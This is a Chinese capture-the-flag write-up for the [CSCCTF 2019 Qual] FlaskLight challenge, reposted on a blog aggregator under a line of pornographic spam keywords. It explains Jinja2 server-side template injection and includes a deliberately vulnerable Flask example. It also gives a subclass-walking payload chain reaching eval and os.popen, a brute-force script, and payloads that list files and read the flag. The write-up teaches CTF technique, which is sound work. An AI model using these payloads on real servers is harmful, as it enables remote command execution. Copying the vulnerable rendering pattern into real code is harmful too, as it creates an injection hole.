日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI

發布時間:2023/12/8 编程问答 43 豆豆
生活随笔 收集整理的這篇文章主要介紹了 一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

SSTI

無二次渲染的示例

存在二次渲染的示例

漏洞復現

[CSCCTF 2019 Qual]FlaskLight


做這道題的時候,再次深入了解了一下SSTI,不過發現去講解這題原理的文章實在是太少了,額也有可能是大佬覺得沒有必要講,不過在這里還是記錄一下自己的一些解題思路,一方面也是防止自己忘記。文章會以簡單容易理解的方式去理解SSTI的成因,不會設計一些復雜的問題但是還是需要擁有一些python的基礎知識的,如有錯誤,歡迎指正

SSTI

服務器端模板注入(Server-Side Template Injection)

漏洞的主要產生點就是網頁模板中的變量被二次渲染時造成的漏洞,服務端接收了用戶的惡意輸入后,在進行目標編譯渲染的過程中,執行了用戶插入的可以破壞模板的語句,如信息泄露,命令執行,獲取權限等等

JinJia模板引擎特點

  • {{ ... }}:裝載一個變量,模板渲染時,會使用傳進來的通命名參數將代表的值替換

  • {% ... %}:裝載一個控制語句

  • {# ... #}:裝載一個注釋,模板渲染的時候會忽視這個值

無二次渲染的示例:

# 無二次渲染 from flask import *app = Flask(__name__)@app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>{{str}}</p>'return render_template_string(html, str=str)if __name__ == '__main__':app.run()

以上代碼中見到的@app.route(’/’),相當于一個路徑,設置后,在url后面加上/user就可以訪問了,

每一個route后面都必須由一個def函數存在

在pycharm中右擊運行

右擊運行,以get方式傳入參數s,s的值為{{2*2}}

訪問pycharm開啟的URL,如下圖,{{2*2}}被打印,代碼沒有被執行

存在二次渲染的示例:

# 有二次渲染 from flask import *app = Flask(__name__) @app.route('/') def index():str = request.args.get('s')html = '<h1>welcome</h1></br></p>%s</p>'%(str)return render_template_string(html)if __name__ == '__main__':app.run()

右擊運行,用get方式傳入s的值,{{2*2}}代碼被執行,2如下圖,乘以2的結果為4

例如:{{}}在Jinja2中作為變量包裹標識符,在渲染的時候會把{{}}包裹的內容當做變量解析替換,

比如{{2*2}}會被解析成4

如果在某個頁面中找到了如上所示的SSTI漏洞,那么我們可以利用這個注入點,通過s傳參,執行

模板引擎的控制語句以及命令

基本思路:利用python中的魔術方法找到所需的函數

當然凡是使用模板的地方都可能會出現SSTI 的問題,SSTI 不屬于任何一種語言


漏洞復現

''.__class__

''的類型是str類型,調用__class__,指向變量所屬的類,格式為"變量.__class__"

''.__class__.__mro__

由于''為str類型,通過str尋找當前類對象的所有繼承類,當然__mro__不是唯一的方法,如__base__同樣也可以尋找,但是只能找上一層的父類,如果被找的類型不止一個父類的話,就得通過很多個base去找?

''.__class__.__mro__[1].__subclasses__()

?__class__.__mro__以元組形式返還了兩個關系,<class 'str'>和<class 'object'>,我們通過索引獲取后面的object,再通過__subclasses__找到object對象下的所有子類,當然同樣可以通過__class__.__base__.__subclasses__()尋找

這里我利用的是os模塊,也就是subclasses()的第133個索引位,如下圖

''.__class__.__mro__[1].__subclasses__()[133]

通過索引獲取<class 'os._wrap_close'>

''.__class__.__mro__[1].__subclasses__()[133].__init__

通過__init__初始化類,查看是否有重載,出現wrapper說明已經被重載了?

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

通過__globals__尋找所有的方法及變量及參數?

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']

以上找出了很多的全局變量,以字典的形式輸出,這里用'__builtion__'做演示?

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']

以上全局變量包含eval,利用eval再通過popen執行命令,如果使用system之類的函數,可能照成不會回顯,所以用popen是首選?

''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ipconfig').read()")

命令執行ipconfig
簡單來說,和SQL注入很像,循環漸進,找到庫名,找表名,找到表名找字段等等,SSTI先找到父類,然后找父類下的子類,初始化后看看是否重載,再通過全局變量找到特定函數進行執行命令?


[CSCCTF 2019 Qual]FlaskLight

這道題的漏洞點非常明顯,一個是通過題目其實可以猜到這是一道SSTI的題型了,源碼也給出了

提示,通過get類型,以search傳值

既然目標明確了,那么首先調用class

/?search={{''.__class__}}

通過str尋找當前類對象的所有繼承類

/?search={{''.__class__.__mro__}}

以元組形式返還了三個關系,<type 'str'>, <type 'basestring'>和 <type 'object'>,通過索引獲取后

面的object,再通過subclasses找到object對象下的所有子類 ?

/?search={{''.__class__.__mro__[2].__subclasses__()}}

那么問題來了,眼前有這么多的子類,如何知道哪一個可以被我們利用并且成功命令執行呢,在第

一個例子里,我們通過globals全局變量獲取了builtins,利用eval成功命令執行,那么是否可以編寫

一個腳本批量尋找builtins,利用返回的狀態碼判斷哪個子類可以被我們使用 ?

import requestsurl = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj.cn:81' for i in range(1, 100):payload = "/?search={{''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__['__glo'+'bals__']}}"newurl = url + payloadres = requests.get(url=newurl + payload)if 'builtins' in res.text:print(newurl)else:pass

執行結果如下:

那么,payload就顯而易見了,利用builtins的eval執行任意命令

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

查看flag,一開始我還以為flag在app.py文件里,以為flag形式改了,真的無語

/?search={{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()")}}

總結

以上是生活随笔為你收集整理的一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。